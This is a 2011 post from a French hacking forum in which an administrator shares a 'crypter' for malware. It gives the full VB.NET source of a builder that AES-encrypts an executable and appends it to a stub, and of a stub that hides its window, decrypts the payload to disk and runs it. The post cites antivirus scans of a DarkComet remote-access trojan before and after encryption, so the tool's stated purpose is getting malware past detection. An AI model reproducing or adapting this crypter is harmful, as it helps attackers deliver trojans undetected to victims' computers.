Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: Nooby crypter by me ! ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 13:05 (2011)    Sujet du message: Nooby crypter by me ! Répondre en citant

Un petit crypter auquel j apportrai pas mal d amélioration dans un futur assez proche j espère^^

le plus simpliste possible le serveur sort en cryptedfile.exe dans le dossier du crypteur



Scan builder  ICI

San stub ICI

Scan server darkcomet avant cryptage ICI

Scan server Crypté ICI

télécharger --->
{{{Vous devez répondre à ce sujet pour voir la partie cachée}}}


Pour ceux que ca interesse la source original que j'ai refud

le builder

Code:
Imports System.Security.Cryptography
Imports System.IO
Imports System.Text
Imports System.Runtime.InteropServices
Public Class Form1
    Dim infectedfile, stub As String
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe"
            .Title = "MatrixXx Crypter"
            .ShowDialog()
            TextBox1.Text = .FileName
            infectedfile = TextBox1.Text
        End With
    End Sub


    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim key As String = "@bngziaggb@"
        Dim Splitt As String = "@MatrixXx@"
        Dim Cryptfile As String
        FileOpen(1, ("stub.exe"), OpenMode.Binary)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        FileOpen(1, (TextBox1.Text), OpenMode.Binary)
        infectedfile = Space(LOF(1))
        FileGet(1, infectedfile)
        FileClose(1)
        Cryptfile = infectedfile
        Dim oAesProvider As New RijndaelManaged
        Dim btClear() As Byte


        Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}


        Dim oKeyGenerator As New Rfc2898DeriveBytes(key, btSalt)


        oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
        oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)


        Dim ms As New IO.MemoryStream
        Dim cs As New CryptoStream(ms, _
            oAesProvider.CreateEncryptor(), _
            CryptoStreamMode.Write)
        btClear = System.Text.Encoding.UTF8.GetBytes(Cryptfile)
        cs.Write(btClear, 0, btClear.Length)
        cs.Close()
        Cryptfile = Convert.ToBase64String(ms.ToArray)
        FileOpen(1, Application.StartupPath & "\CryptedFile.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub)
        FilePut(1, Splitt)
        FilePut(1, Cryptfile)
        FilePut(1, Splitt)
        FileClose(1)
        MsgBox("wait")
        MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Legend Crypter")
    End Sub
    Public Shared Function StrToByteArray(ByVal str As String) As Byte()
        Dim encoding As New System.Text.ASCIIEncoding()
        Return encoding.GetBytes(str)
    End Function
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)


    Function GetEOF(ByVal Path As String) As Long
        Dim ByteArray() As Byte
        Dim PE As Long, NumberOfSections As Integer
        Dim BeginLastSection As Long
        Dim RawSize As Long, RawOffset As Long


        FileOpen(10, Path, OpenMode.Binary, OpenAccess.Default)
        ReDim ByteArray(LOF(10) - 1)
        FileGet(10, ByteArray)
        FileClose(10)


        Call CopyMemory(PE, ByteArray(&H3C), 4)
        Call CopyMemory(NumberOfSections, ByteArray(PE + &H6), 2)
        BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28)
        Call CopyMemory(RawSize, ByteArray(BeginLastSection + 16), 4)
        Call CopyMemory(RawOffset, ByteArray(BeginLastSection + 20), 4)
        GetEOF = RawSize + RawOffset


    End Function
End Class


Le stub
Code:
Imports System.Security.Cryptography
Imports Microsoft.Win32
Imports System.IO
Public Class Form1
    Dim sStub As String
    Dim TEMP As String

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Me.Visible = False
            Me.Hide()
            Dim splittkey As String = "@MatrixXx@"
            Dim key As String = "@bngziaggb@"
            FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
            sStub = Space(LOF(1))
            FileGet(1, sStub)
            FileClose(1)


            Dim Splitter() As String
            Splitter = Split(sStub, splittkey)


            Dim todecrypt As String
            todecrypt = Splitter(1)


            Dim oAesProvider As New RijndaelManaged
            Dim btCipher() As Byte


            Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
            Dim oKeyGenerator As New Rfc2898DeriveBytes(key, btSalt)
            oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
            oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)


            Dim ms As New IO.MemoryStream
            Dim cs As New CryptoStream(ms, oAesProvider.CreateDecryptor(), _
                CryptoStreamMode.Write)
            Try
                btCipher = Convert.FromBase64String(todecrypt)
                cs.Write(btCipher, 0, btCipher.Length)
                cs.Close()
                todecrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
            Catch
            End Try


            FileOpen(5, TEMP & "\CryptedFile.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
            FilePut(5, todecrypt)
            FileClose(5)
            System.Diagnostics.Process.Start(TEMP & "\CryptedFile.exe")
        Catch ex As Exception
        End Try
        Me.Close()
    End Sub
End Class


Voila en espérant que ca aide..


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 13:05 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com